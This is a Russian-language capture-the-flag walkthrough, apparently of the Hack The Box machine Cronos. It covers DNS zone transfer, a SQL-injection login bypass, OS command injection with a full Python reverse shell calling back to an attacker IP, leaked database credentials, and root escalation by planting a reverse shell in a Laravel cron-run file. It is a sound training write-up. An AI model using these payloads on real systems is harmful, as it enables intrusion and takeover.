Обзор сервисов
Машине присвоен IP-адрес 10.10.10.13
, проведем разведку с помощью nmapAutomator
:
$ nmapAutomator.sh -H 10.10.10.13 -t Full
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Видим, помимо стандартных портов, порт для DNS.
Добавим cronos.htb
в /etc/hosts
.
$ sudo nano /etc/hosts
10.10.10.13 cronos.htb
С помощью dig
обратимся к DNS-серверу и узнаем все поддомены.
$ dig axfr @10.10.10.13 cronos.htb
; <<>> DiG 9.16.15-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 60 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Wed May 26 12:32:09 MSK 2021
;; XFR size: 7 records (messages 1, bytes 203)
Также добавим домен admin.cronos.htb
в /etc/hosts
.
SQL Injection
Проведем SQL-инъекцию, в поле username
вставим admin'-- -
.
OS Command Injection
Мы можем провести атаку Command Injection.
ping $ 127.0.0.1;CMD
Запустим слушателя:
rlwrap nc -lnvp 1234
Выберем ping
и вставим кусок кода:
127.0.0.1;export RHOST="10.10.14.5";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
Креды базы данных
www-data@cronos:/var/www/admin$ cat config.php
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
define('DB_DATABASE', 'admin');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
Пользовательский флаг
www-data@cronos:/home/noulis$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:00:c9 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.13/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:c9/64 scope global mngtmpaddr dynamic
valid_lft 86201sec preferred_lft 14201sec
inet6 fe80::250:56ff:feb9:c9/64 scope link
valid_lft forever preferred_lft forever
www-data@cronos:/home/noulis$ cat user.txt
51d236438b333970dbba7dc3089be33b
Повышение привилегий
С помощью LinEnum находим выполнение скрипта artisan
от Laravel от имени root
.
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
Запустим слушателя:
rlwrap nc -lnvp 1235
Модифицируем файл /var/www/laravel/app/Console/Kernel.php
, добавим туда такой код.
system("export RHOST=\"10.10.14.5\";export RPORT=1235;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")'");
Флаг суперпользователя
root@cronos:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:00:c9 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.13/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:c9/64 scope global mngtmpaddr dynamic
valid_lft 86100sec preferred_lft 14100sec
inet6 fe80::250:56ff:feb9:c9/64 scope link
valid_lft forever preferred_lft forever
root@cronos:~# cat root.txt
1703b8a3c9a8dde879942c79d02fd3a0